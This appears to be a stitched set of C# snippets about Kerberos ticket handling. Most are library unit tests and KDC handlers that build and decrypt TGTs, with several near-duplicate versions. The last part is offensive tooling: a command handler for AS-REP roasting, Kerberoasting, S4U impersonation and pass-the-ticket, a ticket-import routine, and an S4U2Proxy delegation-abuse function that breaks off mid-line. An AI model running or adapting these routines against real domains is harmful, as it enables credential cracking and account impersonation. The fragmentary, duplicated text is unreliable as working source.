public override Task <T> SendMessage <T>(string domain, ReadOnlyMemory <byte> req, CancellationToken cancellation = default) { var cached = QueryDomain(domain); Assert.IsNotNull(cached); var response = new KrbAsRep() { CRealm = "sdf", CName = new KrbPrincipalName { Name = new[] { "sdf" }, Type = PrincipalNameType.NT_ENTERPRISE }, MessageType = MessageType.KRB_AS_REP, ProtocolVersionNumber = 5, Ticket = new KrbTicket { Realm = "sdfsdf", SName = new KrbPrincipalName { Name = new[] { "sdf" }, Type = PrincipalNameType.NT_ENTERPRISE }, EncryptedPart = new KrbEncryptedData { Cipher = new byte[] { 0x0, 0x0 } }, }, EncPart = new KrbEncryptedData { Cipher = new byte[] { 0x0, 0x0 } } }.EncodeApplication(); return(Task.FromResult(Decode <T>(response))); }
private static void AssertIsExpectedKrbtgt(KerberosKey clientKey, KerberosKey tgtKey, byte[] message) { var asRep = new KrbAsRep().DecodeAsApplication(message); Assert.IsNotNull(asRep); var encPart = asRep.EncPart.Decrypt( clientKey, KeyUsage.EncAsRepPart, b => KrbEncAsRepPart.DecodeApplication(b) ); Assert.IsNotNull(encPart); Assert.AreEqual(KrbtgtSpn, encPart.SName.FullyQualifiedName, true); Assert.AreEqual(Realm, encPart.Realm); Assert.IsNotNull(encPart.Key); Assert.AreEqual(ExpectedFlags, encPart.Flags); var krbtgt = asRep.Ticket.EncryptedPart.Decrypt( tgtKey, KeyUsage.Ticket, d => new KrbEncTicketPart().DecodeAsApplication(d) ); Assert.IsNotNull(krbtgt); Assert.AreEqual(UserUpn, krbtgt.CName.FullyQualifiedName, true); Assert.AreEqual(Realm, krbtgt.CRealm); Assert.AreEqual(ExpectedFlags, krbtgt.Flags); Assert.IsTrue(Enumerable.SequenceEqual(krbtgt.Key.KeyValue.ToArray(), encPart.Key.KeyValue.ToArray())); }
protected override async Task <HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken) { var realmService = new FakeRealmService(Realm); var principal = await realmService.Principals.Find(UserUpn); var principalKey = await principal.RetrieveLongTermCredential(); var rst = new ServiceTicketRequest { Principal = principal, EncryptedPartKey = principalKey, ServicePrincipalKey = new KerberosKey(key: TgtKey, etype: EncryptionType.AES256_CTS_HMAC_SHA1_96) }; var tgt = await KrbAsRep.GenerateTgt(rst, realmService); var encoded = tgt.EncodeApplication(); var response = new Memory <byte>(new byte[encoded.Length + 4]); Endian.ConvertToBigEndian(encoded.Length, response.Slice(0, 4)); encoded.CopyTo(response.Slice(4)); var kdcMessage = new KdcProxyMessage { KerbMessage = response }; return(new HttpResponseMessage(HttpStatusCode.OK) { Content = new ByteArrayContent(kdcMessage.Encode().ToArray()) }); }
private void ProcessKdcProxy(KdcProxyMessage proxyMessage, string source) { var message = proxyMessage.UnwrapMessage(); var kdcBody = new { AsReq = TryDecode(message, m => KrbAsReq.DecodeApplication(m)), AsRep = TryDecode(message, m => KrbAsRep.DecodeApplication(m)), TgsReq = TryDecode(message, m => KrbTgsReq.DecodeApplication(m)), TgsRep = TryDecode(message, m => KrbTgsRep.DecodeApplication(m)), KrbError = TryDecode(message, m => KrbError.DecodeApplication(m)) }; if (kdcBody.AsReq != null) { ExplodeObject(kdcBody.AsReq, $"AS-REQ ({source})"); } else if (kdcBody.AsRep != null) { ExplodeObject(kdcBody.AsRep, $"AS-REP ({source})"); } else if (kdcBody.TgsReq != null) { ExplodeObject(kdcBody.TgsReq, $"TGS-REQ ({source})"); } else if (kdcBody.TgsRep != null) { ExplodeObject(kdcBody.TgsRep, $"TGS-REP ({source})"); } else if (kdcBody.KrbError != null) { ExplodeObject(kdcBody.KrbError, $"Krb-Error ({source})"); } }
public void KdcAsReqHandler_Sync() { KrbAsRep asRep = RequestTgt(out _); Assert.IsNotNull(asRep); Assert.AreEqual(Realm, asRep.CRealm); Assert.AreEqual(Upn, asRep.CName.FullyQualifiedName); }
private ReadOnlyMemory <byte> GenerateAsRep(KrbAsReq asReq, PreAuthenticationContext context) { // 1. detect if specific PAC contents are requested (claims) // 2. if requested generate PAC for user // 3. stuff PAC into ad-if-relevant pa-data of krbtgt ticket // 4. look up krbtgt account // 5. encrypt against krbtgt // 6. done var rst = new ServiceTicketRequest { Principal = context.Principal, EncryptedPartKey = context.EncryptedPartKey, ServicePrincipal = context.ServicePrincipal, Addresses = asReq.Body.Addresses, Nonce = asReq.Body.Nonce, IncludePac = true, Flags = TicketFlags.Initial | KrbKdcRep.DefaultFlags }; if (!asReq.Body.KdcOptions.HasFlag(KdcOptions.Canonicalize)) { rst.SamAccountName = asReq.Body.CName.FullyQualifiedName; } if (context.ClientAuthority != PaDataType.PA_NONE) { rst.Flags |= TicketFlags.PreAuthenticated; } if (rst.EncryptedPartKey == null) { rst.EncryptedPartKey = rst.Principal.RetrieveLongTermCredential(); } rst.IncludePac = DetectPacRequirement(asReq) ?? false; var asRep = KrbAsRep.GenerateTgt(rst, RealmService); if (context.PaData != null) { asRep.PaData = context.PaData.ToArray(); } return(asRep.EncodeApplication()); }
private static KrbAsRep RequestTgt(out KrbEncryptionKey sessionKey) { var cred = new KerberosPasswordCredential(Upn, "P@ssw0rd!") { // cheating by skipping the initial leg of requesting PA-type Salts = new[] { new KeyValuePair <EncryptionType, string>( EncryptionType.AES256_CTS_HMAC_SHA1_96, "*****@*****.**" ) }, Configuration = Krb5Config.Default() }; var asReq = KrbAsReq.CreateAsReq( cred, AuthenticationOptions.AllAuthentication ); var handler = new KdcAsReqMessageHandler(asReq.EncodeApplication(), new KdcServerOptions { DefaultRealm = Realm, IsDebug = true, RealmLocator = realm => new FakeRealmService(realm) }); handler.PreAuthHandlers[PaDataType.PA_ENC_TIMESTAMP] = service => new PaDataTimestampHandler(service); var results = handler.Execute(); var decoded = KrbAsRep.DecodeApplication(results); var decrypted = cred.DecryptKdcRep( decoded, KeyUsage.EncAsRepPart, d => KrbEncAsRepPart.DecodeApplication(d) ); sessionKey = decrypted.Key; return(decoded); }
private static void AssertIsExpectedKrbtgtWithOnPremisesSamAccountName(KerberosKey clientKey, KerberosKey tgtKey, byte[] message) { var asRep = new KrbAsRep().DecodeAsApplication(message); Assert.IsNotNull(asRep); // CName under reply part should NOT be original UPN Assert.AreNotEqual(UserUpn, asRep.CName.FullyQualifiedName); Assert.AreEqual(TestSamAccountName, asRep.CName.FullyQualifiedName); var encPart = asRep.EncPart.Decrypt( clientKey, KeyUsage.EncAsRepPart, b => KrbEncAsRepPart.DecodeApplication(b) ); Assert.IsNotNull(encPart); Assert.AreEqual(KrbtgtSpn, encPart.SName.FullyQualifiedName, true, CultureInfo.InvariantCulture); Assert.AreEqual(Realm, encPart.Realm); Assert.IsNotNull(encPart.Key); Assert.AreEqual(ExpectedFlags, encPart.Flags); var krbtgt = asRep.Ticket.EncryptedPart.Decrypt( tgtKey, KeyUsage.Ticket, d => new KrbEncTicketPart().DecodeAsApplication(d) ); Assert.IsNotNull(krbtgt); // CName under encrypted ticket part should be matched with OnPremisesSamAccountName Assert.IsTrue(krbtgt.CName.Type == PrincipalNameType.NT_PRINCIPAL); Assert.IsTrue(krbtgt.CName.Name.Length == 1); Assert.AreEqual(TestSamAccountName, krbtgt.CName.FullyQualifiedName); Assert.AreEqual(Realm, krbtgt.CRealm); Assert.AreEqual(ExpectedFlags, krbtgt.Flags); Assert.IsTrue(Enumerable.SequenceEqual(krbtgt.Key.KeyValue.ToArray(), encPart.Key.KeyValue.ToArray())); }
public void KrbtgtDecode() { var krbtgtKey = new KerberosKey(key: Key, etype: EncryptionType.AES256_CTS_HMAC_SHA1_96); var longUserTermKey = new KerberosKey("P@ssw0rd!", salt: "CORP.IDENTITYINTERVENTION.COMtestuser"); var krbAsRepBytes = ReadDataFile("messages\\as-rep").Skip(4).ToArray(); var asRep = new KrbAsRep().DecodeAsApplication(krbAsRepBytes); var encPart = asRep.EncPart.Decrypt(longUserTermKey, KeyUsage.EncAsRepPart, b => KrbEncAsRepPart.DecodeApplication(b)); Assert.IsNotNull(encPart); var encTicket = asRep.Ticket.EncryptedPart; var krbtgt = encTicket.Decrypt(krbtgtKey, KeyUsage.Ticket, bytes => new KrbEncTicketPart().DecodeAsApplication(bytes)); Assert.IsNotNull(krbtgt); }
private async Task <ReadOnlyMemory <byte> > GenerateAsRep(KrbAsReq asReq, IKerberosPrincipal principal) { // 1. detect if specific PAC contents are requested (claims) // 2. if requested generate PAC for user // 3. stuff PAC into ad-if-relevant pa-data of krbtgt ticket // 4. look up krbtgt account // 5. encrypt against krbtgt // 6. done var requirements = new List <KrbPaData>(); foreach (var handler in postProcessAuthHandlers) { await InvokePreAuthHandler(null, principal, requirements, handler.Value); } var rst = new ServiceTicketRequest { Principal = principal, Addresses = asReq.Body.Addresses, Nonce = asReq.Body.Nonce, IncludePac = true, Flags = TicketFlags.Initial | KrbKdcRep.DefaultFlags }; rst.EncryptedPartKey = await principal.RetrieveLongTermCredential(); var pacRequest = asReq.PaData.FirstOrDefault(pa => pa.Type == PaDataType.PA_PAC_REQUEST); if (pacRequest != null) { var paPacRequest = KrbPaPacRequest.Decode(pacRequest.Value); rst.IncludePac = paPacRequest.IncludePac; } var asRep = await KrbAsRep.GenerateTgt(rst, RealmService); asRep.PaData = requirements.ToArray(); return(asRep.EncodeApplication()); }
private async Task <ReadOnlyMemory <byte> > GenerateAsRep(PreAuthenticationContext preauth, KrbAsReq asReq) { // 1. detect if specific PAC contents are requested (claims) // 2. if requested generate PAC for user // 3. stuff PAC into ad-if-relevant pa-data of krbtgt ticket // 4. look up krbtgt account // 5. encrypt against krbtgt // 6. done var rst = new ServiceTicketRequest { Principal = preauth.Principal, EncryptedPartKey = preauth.EncryptedPartKey, Addresses = asReq.Body.Addresses, Nonce = asReq.Body.Nonce, IncludePac = true, Flags = TicketFlags.Initial | KrbKdcRep.DefaultFlags }; if (rst.EncryptedPartKey == null) { rst.EncryptedPartKey = await rst.Principal.RetrieveLongTermCredential(); } var pacRequest = asReq.PaData.FirstOrDefault(pa => pa.Type == PaDataType.PA_PAC_REQUEST); if (pacRequest != null) { var paPacRequest = KrbPaPacRequest.Decode(pacRequest.Value); rst.IncludePac = paPacRequest.IncludePac; } var asRep = await KrbAsRep.GenerateTgt(rst, RealmService); if (preauth.PaData != null) { asRep.PaData = preauth.PaData.ToArray(); } return(asRep.EncodeApplication()); }
private async Task <ReadOnlyMemory <byte> > GenerateAsRep(KrbKdcReq asReq, IKerberosPrincipal principal) { // 1. detect if specific PAC contents are requested (claims) // 2. if requested generate PAC for user // 3. stuff PAC into ad-if-relevant pa-data of krbtgt ticket // 4. look up krbtgt account // 5. encrypt against krbtgt // 6. done var requirements = new List <KrbPaData>(); foreach (var handler in postProcessAuthHandlers) { await InvokePreAuthHandler(null, principal, requirements, handler.Value); } var asRep = await KrbAsRep.GenerateTgt(principal, requirements, RealmService, asReq.Body); return(asRep.EncodeApplication()); }
public void GenerateTgt() { var realmService = new FakeRealmService(Realm); var principal = realmService.Principals.Find(KrbPrincipalName.FromString(UserUpn)); var principalKey = principal.RetrieveLongTermCredential(); var rst = new ServiceTicketRequest { Flags = TicketFlags.EncryptedPreAuthentication | TicketFlags.Renewable | TicketFlags.Forwardable, Principal = principal, EncryptedPartKey = principalKey, ServicePrincipalKey = new KerberosKey(key: TgtKey, etype: etype, kvno: 123) }; for (var i = 0; i < AuthenticationAttempts; i++) { var tgt = KrbAsRep.GenerateTgt(rst, realmService); Assert.IsNotNull(tgt); } }
public void KdcTgsReqHandler_Sync() { KrbAsRep asRep = RequestTgt(out KrbEncryptionKey tgtKey); Assert.IsNotNull(asRep); var tgsReq = KrbTgsReq.CreateTgsReq( new RequestServiceTicket { Realm = Realm, ServicePrincipalName = "host/foo." + Realm }, tgtKey, asRep, out KrbEncryptionKey sessionKey ); var handler = new KdcTgsReqMessageHandler(tgsReq.EncodeApplication(), new ListenerOptions { DefaultRealm = Realm, IsDebug = true, RealmLocator = realm => new FakeRealmService(realm) }); var results = handler.Execute(); var tgsRep = KrbTgsRep.DecodeApplication(results); Assert.IsNotNull(tgsRep); var encKdcRepPart = tgsRep.EncPart.Decrypt( sessionKey.AsKey(), KeyUsage.EncTgsRepPartSubSessionKey, d => KrbEncTgsRepPart.DecodeApplication(d) ); Assert.IsNotNull(encKdcRepPart); }
public void GeneratedTgtMatchesActiveDirectory() { var realmService = new FakeRealmService(Realm); var principal = realmService.Principals.Find(KrbPrincipalName.FromString(UserUpn)); var principalKey = principal.RetrieveLongTermCredential(); var rst = new ServiceTicketRequest { Flags = ExpectedFlags, Principal = principal, EncryptedPartKey = principalKey, ServicePrincipalKey = new KerberosKey(key: TgtKey, etype: EncryptionType.AES256_CTS_HMAC_SHA1_96) }; var tgt = KrbAsRep.GenerateTgt(rst, realmService); Assert.IsNotNull(tgt); var encoded = tgt.EncodeApplication(); AssertIsExpectedKrbtgt(principalKey, rst.ServicePrincipalKey, encoded.ToArray()); }
public async Task GeneratedTgtMatchesWithOnPremisesSamAccountName() { var realmService = new FakeRealmService(Realm); var principal = await realmService.Principals.Find(UserUpn); var principalKey = await principal.RetrieveLongTermCredential(); var rst = new ServiceTicketRequest { SamAccountName = TestSamAccountName, Flags = ExpectedFlags, Principal = principal, EncryptedPartKey = principalKey, ServicePrincipalKey = new KerberosKey(key: TgtKey, etype: EncryptionType.AES256_CTS_HMAC_SHA1_96) }; var tgt = await KrbAsRep.GenerateTgt(rst, realmService); Assert.IsNotNull(tgt); var encoded = tgt.EncodeApplication(); AssertIsExpectedKrbtgtWithOnPremisesSamAccountName(principalKey, rst.ServicePrincipalKey, encoded.ToArray()); }
public void GeneratedTgtMatchesWithOnPremisesSamAccountName(string realm, KerberosCompatibilityFlags compatibilityFlags, string expectedRealm) { var realmService = new FakeRealmService(realm, compatibilityFlags: compatibilityFlags); var principal = realmService.Principals.Find(KrbPrincipalName.FromString(UserUpn)); var principalKey = principal.RetrieveLongTermCredential(); var rst = new ServiceTicketRequest { SamAccountName = TestSamAccountName, Flags = ExpectedFlags, Principal = principal, EncryptedPartKey = principalKey, ServicePrincipalKey = new KerberosKey(key: TgtKey, etype: EncryptionType.AES256_CTS_HMAC_SHA1_96) }; var tgt = KrbAsRep.GenerateTgt(rst, realmService); Assert.IsNotNull(tgt); var encoded = tgt.EncodeApplication(); AssertIsExpectedKrbtgtWithOnPremisesSamAccountName(principalKey, rst.ServicePrincipalKey, encoded.ToArray(), expectedRealm); }
private ReadOnlyMemory <byte> GenerateAsRep(KrbAsReq asReq, PreAuthenticationContext context) { // 1. detect if specific PAC contents are requested (claims) // 2. if requested generate PAC for user // 3. stuff PAC into ad-if-relevant pa-data of krbtgt ticket // 4. look up krbtgt account // 5. encrypt against krbtgt // 6. done var rst = new ServiceTicketRequest { Principal = context.Principal, EncryptedPartKey = context.EncryptedPartKey, EncryptedPartEType = context.EncryptedPartEType, ServicePrincipal = context.ServicePrincipal, Addresses = asReq.Body.Addresses, Nonce = asReq.Body.Nonce, Now = this.RealmService.Now(), StartTime = asReq.Body.From ?? DateTimeOffset.MinValue, EndTime = asReq.Body.Till, MaximumTicketLifetime = this.RealmService.Settings.SessionLifetime, Flags = TicketFlags.Initial | KrbKdcRep.DefaultFlags, PreferredClientEType = GetPreferredEType( asReq.Body.EType, this.RealmService.Configuration.Defaults.PermittedEncryptionTypes, this.RealmService.Configuration.Defaults.AllowWeakCrypto ), Compatibility = this.RealmService.Settings.Compatibility, }; if (context.ClientAuthority != PaDataType.PA_NONE) { rst.Flags |= TicketFlags.PreAuthenticated; } // Canonicalize means the CName in the reply is allowed to be different from the CName in the request. // If this is not allowed, then we must use the CName from the request. Otherwise, we will set the CName // to what we have in our realm, i.e. user@realm. if (!asReq.Body.KdcOptions.HasFlag(KdcOptions.Canonicalize)) { rst.SamAccountName = asReq.Body.CName.FullyQualifiedName; } if (rst.EncryptedPartKey == null) { rst.EncryptedPartKey = rst.Principal.RetrieveLongTermCredential(); } if (context.IncludePac == null) { context.IncludePac = DetectPacRequirement(asReq); } rst.IncludePac = context.IncludePac ?? false; // this is set here instead of in GenerateServiceTicket because GST is used by unit tests to // generate tickets with weird lifetimes for scenario testing and we don't want to break that rst.ClampLifetime(); var asRep = KrbAsRep.GenerateTgt(rst, this.RealmService); if (context.PaData != null) { asRep.PaData = context.PaData.ToArray(); } return(asRep.EncodeApplication()); }
//FROM AS_REP public static byte[] toKirbi(KrbAsRep asRep, KrbEncAsRepPart asDecryptedRepPart, bool ptt = false) { //https://www.freesoft.org/CIE/RFC/1510/66.htm //KrbCredInfo::= SEQUENCE { // key[0] EncryptionKey, //prealm[1] Realm OPTIONAL, //pname[2] PrincipalName OPTIONAL, //flags[3] TicketFlags OPTIONAL, //authtime[4] KerberosTime OPTIONAL, //starttime[5] KerberosTime OPTIONAL, //endtime[6] KerberosTime OPTIONAL //renew - till[7] KerberosTime OPTIONAL, //srealm[8] Realm OPTIONAL, //sname[9] PrincipalName OPTIONAL, //caddr[10] HostAddresses OPTIONAL //} var info = new KrbCredInfo() { Key = asDecryptedRepPart.Key, Realm = asDecryptedRepPart.Realm, PName = asRep.CName, Flags = asDecryptedRepPart.Flags, StartTime = asDecryptedRepPart.StartTime, EndTime = asDecryptedRepPart.EndTime, RenewTill = asDecryptedRepPart.RenewTill, SRealm = asDecryptedRepPart.Realm, SName = asDecryptedRepPart.SName }; //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { //ticket-info[0] SEQUENCE OF KrbCredInfo, //nonce[1] INTEGER OPTIONAL, //timestamp[2] KerberosTime OPTIONAL, //usec[3] INTEGER OPTIONAL, //s-address[4] HostAddress OPTIONAL, //r-address[5] HostAddress OPTIONAL //} KrbCredInfo[] infos = { info }; var encCredPart = new KrbEncKrbCredPart() { TicketInfo = infos }; //KRB-CRED ::= [APPLICATION 22] SEQUENCE { //pvno[0] INTEGER, //msg - type[1] INTEGER, --KRB_CRED //tickets[2] SEQUENCE OF Ticket, //enc - part[3] EncryptedData //} var myCred = new KrbCred(); myCred.ProtocolVersionNumber = 5; myCred.MessageType = MessageType.KRB_CRED; myCred.Tickets = new KrbTicket[] { asRep.Ticket }; //https://github.com/dirkjanm/krbrelayx/blob/master/lib/utils/kerberos.py#L220 //No Encryption for KRB-CRED var encryptedData = new KrbEncryptedData() { Cipher = encCredPart.EncodeApplication(), }; myCred.EncryptedPart = encryptedData; byte[] kirbiBytes = myCred.EncodeApplication().ToArray(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (ptt) { LSA.ImportTicket(kirbiBytes, new LUID()); } return(kirbiBytes); }
public static async Task ResolveCmd(Options options) { var transport = new TcpKerberosTransport(logger); if (options.User != null) { username = options.User.ToLower(); } if (options.Ticket != null) { PTT(options.Ticket); } if ((options.RC4 ?? options.AES128 ?? options.AES256) != null) { hash = options.RC4 ?? options.AES128 ?? options.AES256; if (options.AES128 != null) { etype = EncryptionType.AES128_CTS_HMAC_SHA1_96; } else if (options.AES256 != null) { etype = EncryptionType.AES256_CTS_HMAC_SHA1_96; } } if (options.Golden != options.Sliver) { if (options.Domain == null) { Console.WriteLine("[x] Please provide the target domain name."); Environment.Exit(0); } //Build Ticket if (options.Sliver) { //var sliverTicket = BuildTicket.BuildSliver(options.Host, hash, etype, username, options.Domain, options.Service, options.DomainSID, options.PTT, options.Verbose); } else { //var goldenTicket = BuildTicket.BuildGolden(hash, etype, username, options.Domain, options.UserID, options.DomainSID, options.PTT, options.Verbose); } Environment.Exit(0); } //Domain if (options.Domain != null) { try { var context = new DirectoryContext(DirectoryContextType.Domain, options.Domain); domainname = Domain.GetDomain(context).Name; } catch (Exception e) { Console.WriteLine(e.Message); Environment.Exit(0); } } else { try { domainname = Domain.GetCurrentDomain().Name; } catch (Exception e) { Console.WriteLine("[*] {0}", e.Message); Environment.Exit(0); } } if (options.DecryptTGT != null || options.DecryptTGS != null) { if (options.DecryptEtype == null) { Console.WriteLine("[x] Please provide the encrytion type of the Hash (rc4/aes128/aes256)"); Console.WriteLine(); Environment.Exit(0); } switch (options.DecryptEtype.Trim().ToLower()) { case "rc4": dEtype = EncryptionType.RC4_HMAC_NT; break; case "aes128": dEtype = EncryptionType.AES128_CTS_HMAC_SHA1_96; break; default: dEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96; break; } if (options.DecryptTGT != null) { tgtHash = options.DecryptTGT; } else if (options.DecryptTGS != null) { if (string.IsNullOrEmpty(options.SrvName)) { Console.WriteLine("[x] Please provide the service account name for decrypting TGS."); Environment.Exit(0); } tgsHash = options.DecryptTGS; } } if (!string.IsNullOrEmpty(username)) { //////////////////////////////////////////////////////////// //ASREPRoasting if (options.Asreproast) { bool asreproast = true; if (options.Format.ToLower() == "john" || options.Format.ToLower() == "hashcat") { await Ask.askTGT(kdc, logger, transport, username, "whatever", domainname, outKirbi, options.Verbose, options.Format.ToLower(), asreproast, options.PTT, hash, etype, options.Outfile, tgtHash, dEtype); Console.WriteLine("[+] Done! Now enjoy your hash."); } else { Console.WriteLine("[x] Unknown hash format, Please use hashcat or john"); } } else { if (options.Pass == null && options.RC4 == null && options.AES128 == null && options.AES256 == null) { Console.WriteLine("[x] Please provide a valid password/hash"); Environment.Exit(1); } else { //////////////////////////////////////////////////////////// //Ask TGT if (options.AskTGT) { await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname, outKirbi, options.Verbose, options.Format.ToLower(), false, options.PTT, hash, etype, options.Outfile, tgtHash, dEtype); } //////////////////////////////////////////////////////////// //Ask TGS else if (options.AskTGS) { if (options.Spn != null) { asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname, outKirbi, options.Verbose, options.Format.ToLower(), false, options.PTT, hash, etype, options.Outfile, tgtHash, dEtype); await Ask.askTGS(kdc, logger, transport, asRep, username, options.Pass, domainname, options.Spn, isUncontrainedDeleg, outKirbi, options.Verbose, false, options.PTT, hash, etype, options.Outfile, options.SrvName, tgsHash, dEtype); } else { Console.WriteLine("[x] Please provide an SPN for the service request."); } } //////////////////////////////////////////////////////////// //Kerberoasting else if (options.Kerberoast) { bool kerberoast = true; if (options.Spn != null) { asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname, outKirbi, options.Verbose, options.Format.ToLower(), false, options.PTT, hash, etype, options.Outfile, tgtHash, dEtype); await Ask.askTGS(kdc, logger, transport, asRep, username, options.Pass, domainname, options.Spn, isUncontrainedDeleg, outKirbi, options.Verbose, kerberoast, options.PTT, hash, etype, options.Outfile, options.SrvName, tgsHash, dEtype); Console.WriteLine("[+] Done! Now enjoy your hash."); } else { Console.WriteLine("[x] Please provide an SPN for Kerberoasting"); } } //////////////////////////////////////////////////////////// //S4U else if (options.S4U) { if (options.Impersonate != null && options.Spn != null) { asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname, outKirbi, options.Verbose, options.Format, options.Asreproast, options.PTT, hash, etype, options.Outfile, tgtHash, dEtype); var s4u2self = await S4U.S4U2Self(kdc, logger, transport, asRep, username, options.Pass, domainname, options.Impersonate, outKirbi, options.Verbose, options.PTT, hash, etype); await S4U.S4U2Proxy(kdc, logger, transport, asRep, s4u2self, username, options.Pass, domainname, options.Impersonate, options.Spn, outKirbi, options.Verbose, options.PTT, hash, etype); Console.WriteLine("[+] Done! Now enjoy your ticket for {0}.", options.Spn); } else { Console.WriteLine("[x] Please provide an SPN and a username to impersonate"); } } //////////////////////////////////////////////////////////// //S4U2Self else if (options.S4U2Self) { if (options.Impersonate != null) { string impersonate = options.Impersonate + "@" + domainname; asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname, outKirbi, options.Verbose, options.Format, options.Asreproast, options.PTT, hash, etype, options.Outfile, tgtHash, dEtype); await S4U.S4U2Self(kdc, logger, transport, asRep, username, options.Pass, domainname, impersonate, outKirbi, options.Verbose, options.PTT, hash, etype); Console.WriteLine("[+] Done! Now enjoy your ticket."); } else { Console.WriteLine("[x] Please provide a username to impersonate"); } } } } } //var flags = await Ask.askTGS(kdc, logger, transport, asRep, username, password, domainName, spn, isUncontrainedDeleg, outKirbi); ////IF the target service has Unconstrained Delegation //if (flags.HasFlag(TicketFlags.OkAsDelegate)) //{ // Console.WriteLine("\n[*] Target Server is Trusted For Delegation, asking Forwarded TGT..."); // await Ask.askTGS(kdc, logger, transport, asRep, username, password, domainName, spn, isUncontrainedDeleg, outKirbi); //} }
//S4U2Proxy //[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo //The KDC checks if the security principal name(SPN) for Service 2, //identified in the sname and srealm fields of the KRB_TGS_REQ message, //is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter. //If it is, then the KDC replies with a service ticket for Service 2. //Otherwise the KDC MUST return `KRB-ERR-BADOPTION`. public static async System.Threading.Tasks.Task S4U2Proxy(string kdc, ILoggerFactory logger, TcpKerberosTransport transport, KrbAsRep asRep, KrbTgsRep s4u2self, string username, string password, string domainName, string impersonateuser, string spn, bool outKirbi = false, bool verbose = false, bool ptt = false, string hash = null, EncryptionType etype = EncryptionType.RC4_HMAC_NT) { var now = DateTime.UtcNow; credKey = password != null ? new KerberosPasswordCredential(username, password, domainName).CreateKey() : new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey(); KrbEncAsRepPart asDecrypted = password != null ? new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep( asRep, KeyUsage.EncAsRepPart, d => KrbEncAsRepPart.DecodeApplication(d)) : new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep( asRep, KeyUsage.EncAsRepPart, d => KrbEncAsRepPart.DecodeApplication(d)); var sessionKey = asDecrypted.Key; //Request Service Ticket parameters ApOptions apOptions = ApOptions.Reserved; KdcOptions kdcOptions = KdcOptions.Forwardable | KdcOptions.Renewable | KdcOptions.RenewableOk; string s4u = null; KrbTicket s4uTicket = s4u2self.Ticket; KrbTicket u2uServerTicket = null; var rst = new RequestServiceTicket() { ServicePrincipalName = spn, ApOptions = apOptions, S4uTarget = s4u, S4uTicket = s4uTicket, UserToUserTicket = u2uServerTicket, KdcOptions = kdcOptions, Realm = domainName }; var sname = rst.ServicePrincipalName.Split('/', '@'); var tgt = asRep.Ticket; var additionalTickets = new List <KrbTicket>(); if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null) { additionalTickets.Add(rst.UserToUserTicket); } if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) { rst.KdcOptions |= KdcOptions.Forwardable; } if (rst.S4uTicket != null) { rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket; additionalTickets.Add(rst.S4uTicket); } //EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT }; string[] name = { }; var body = new KrbKdcReqBody { EType = KrbConstants.KerberosConstants.ETypes.ToArray(), KdcOptions = rst.KdcOptions, Nonce = KrbConstants.KerberosConstants.GetNonce(), Realm = rst.Realm, SName = new KrbPrincipalName() { Type = PrincipalNameType.NT_SRV_INST, Name = sname }, Till = KrbConstants.KerberosConstants.EndOfTime, CName = new KrbPrincipalName() { Type = PrincipalNameType.NT_SRV_INST, Name = name }, }; if (additionalTickets.Count > 0) { body.AdditionalTickets = additionalTickets.ToArray(); } var bodyChecksum = KrbChecksum.Create( body.Encode(), sessionKey.AsKey(), KeyUsage.PaTgsReqChecksum ); //ApReq //Authenticator var authenticator = new KrbAuthenticator { CName = asRep.CName, Realm = asRep.Ticket.Realm, SequenceNumber = KrbConstants.KerberosConstants.GetNonce(), Checksum = bodyChecksum, CTime = now, CuSec = now.Millisecond //new Random().Next(0, 999999) }; var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType); subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey; authenticator.Subkey = subSessionKey; var encryptedAuthenticator = KrbEncryptedData.Encrypt( authenticator.EncodeApplication(), sessionKey.AsKey(), KeyUsage.PaTgsReqAuthenticator ); var apReq = new KrbApReq { Ticket = tgt, ApOptions = apOptions, Authenticator = encryptedAuthenticator }; var pacOptions = new KrbPaPacOptions { Flags = PacOptions.ResourceBasedConstrainedDelegation }.Encode(); var paData = new List <KrbPaData>() { new KrbPaData { Type = PaDataType.PA_TGS_REQ, Value = apReq.EncodeApplication() }, new KrbPaData { Type = PaDataType.PA_PAC_OPTIONS, Value = pacOptions } }; if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) { var paS4u = new KrbPaForUser { AuthPackage = "Kerberos", UserName = new KrbPrincipalName { Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u } }, UserRealm = tgt.Realm }; paS4u.GenerateChecksum(subSessionKey.AsKey()); paData.Add(new KrbPaData { Type = PaDataType.PA_FOR_USER, Value = paS4u.Encode() }); } var tgs = new KrbTgsReq { PaData = paData.ToArray(), Body = body }; ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication(); Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ..."); if (verbose) { PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey()); } CancellationToken cancellation = default; cancellation.ThrowIfCancellationRequested(); KrbTgsRep tgsRep = null; try { tgsRep = await transport.SendMessage <KrbTgsRep>( rst.Realm, encodedTgs, cancellation ); } catch (KerberosProtocolException pex) { Console.WriteLine("[x] Kerberos Error: {0}", pex.Message); Environment.Exit(0); } Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ..."); try { KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>( subSessionKey.AsKey(), KeyUsage.EncTgsRepPartSubSessionKey, (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t)); if (verbose) { PrintFunc.PrintRep(tgsRep, credKey); Console.WriteLine(" * [Decrypted 